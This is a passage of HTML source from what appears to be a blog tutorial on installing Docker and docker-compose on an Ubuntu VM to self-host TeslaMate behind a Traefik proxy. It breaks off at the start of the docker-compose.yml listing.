&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;deb [arch=&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;$(&lt;/span&gt;dpkg --print-architecture&lt;span style=&#34;color:#c6a0f6&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;$(&lt;/span&gt;lsb_release -cs&lt;span style=&#34;color:#c6a0f6&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; stable&amp;#34;&lt;/span&gt; | sudo tee /etc/apt/sources.list.d/docker.list &amp;gt; /dev/null&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-2-1024x80.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Adding docker repro&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;At this time, we should run &lt;code&gt;apt-get&lt;/code&gt; update command to update the newly added repository. We should check to ensure that docker is going to be installed from the docker repository, and not Ubuntu&amp;rsquo;s default. To do this we run the following command.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apt-cache policy docker-ce&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This shows us that docker isn&amp;rsquo;t installed, but the candidate for installation is from docker.com and is for &amp;ldquo;focal&amp;rdquo; - which is the release name of Ubuntu v20.04. The list we see is long because it outlines the different versions of docker.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-3-992x1024.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Check if docker is installed&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Now, we are finally ready to install docker using the following command and also choosing Yes on the prompts that confirm the installation.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt-get install docker-ce docker-ce-cli containerd.io&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Once complete, you will see something like the output shown below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-4-1024x721.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Docker installation&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;At this time, docker should be installed running. We can also check its daemon is configured to run on booting up.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-5-1024x407.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Docker daemon confirmation&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Whilst not needed, it is good practice to add the current username to the docker group created - this will ensure we don&amp;rsquo;t need to use &amp;ldquo;&lt;code&gt;sudo&lt;/code&gt;&amp;rdquo; for every docker command. And using the groups command we can validate our current username (&amp;quot;&lt;code&gt;amit&lt;/code&gt;&amp;quot; in my case) is in the docker group.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo usermod -aG docker &lt;span style=&#34;color:#a6da95&#34;&gt;${&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;USER&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;su - &lt;span style=&#34;color:#a6da95&#34;&gt;${&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;USER&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt; &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# this allows us to add the user without logging out&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-7-1024x184.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Adding user to docker group&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Woot! We have docker running. &amp;#x1f60e;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-8.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Docker running&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;The first thing one should do with any new docker installation is to run its equivalent of Hello World. This is done using the following command - which downloads a test image and runs it in a container, prints a message, and then exists the container - so a full life cycle.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo docker run hello-world&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-10-1024x846.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Testing docker&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And yay, we validated that docker is up and running on our VM! Congratulations.&lt;/p&gt;
&lt;p&gt;Before we get to configuring TeslaMate, we also need to install &lt;code&gt;docker-compose&lt;/code&gt;, which is a tool that allows us to run multi-container docker applications (such as TeslaMate). We will install docker-compose using the following command with the result of that command shown after that.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install docker-compose&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-17-1024x737.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Install docker-compose&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;step-5---configure-teslamate&#34;&gt;Step 5 - Configure TeslaMate&lt;/h3&gt;
&lt;p&gt;Given we will be exposing TeslaMate to the internet directly we should not use the default TeslaMate docker installation, but the &lt;a
	
		href = &#34;https://docs.teslamate.org/docs/guides/traefik&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		advanced version
	&lt;/span&gt;
&lt;/a&gt; which uses &lt;a
	
		href = &#34;https://doc.traefik.io/traefik/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Traefik as a proxy server
	&lt;/span&gt;
&lt;/a&gt; and helps us secure the web server better and only expose the (Grafana) dashboards behind an authentication mechanism.&lt;/p&gt;
&lt;p&gt;For this we will create a new folder for TeslaMate which will contain not only the docker compose file needed but other relevant configuration details. I like to keep this in a folder, to help manage - in this case it resides in &lt;code&gt;~/docker/teslamate&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-11.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Creating folder for TeslaMate&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;It is in this folder we will create the docker-compose yaml file that is needed; you would want to start with the one outlined in the &lt;a
	
		href = &#34;https://docs.teslamate.org/docs/guides/traefik&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		TeslaMate
	&lt;/span&gt;
&lt;/a&gt; instructions and tweak it for your needs.&lt;/p&gt;
&lt;p&gt;This file needs to be called &lt;code&gt;docker-compose.yml&lt;/code&gt; and my example is shared below. It is a good idea to always get the &lt;a
	
		href = &#34;https://docs.teslamate.org/docs/guides/traefik#docker-composeyml&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		latest yaml file from TeslaMate&amp;rsquo;s docs
	&lt;/span&gt;
&lt;/a&gt; - over time we would expect things will evolve and the file below might not be accurate down the road.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;  1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;  2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;  3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;  4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;  5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;  6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt;  7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt;  8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt;  9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt; 10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt; 11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt; 12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt; 13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt; 14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt; 15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt; 16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt; 17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt; 18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt; 19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt; 20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt; 21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt; 22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt; 23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt; 24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt; 25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt; 26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt; 27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt; 28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt; 29&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;30&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#30&#34;&gt; 30&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;31&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#31&#34;&gt; 31&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;32&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#32&#34;&gt; 32&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;33&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#33&#34;&gt; 33&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;34&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#34&#34;&gt; 34&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;35&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#35&#34;&gt; 35&lt;/a&gt;
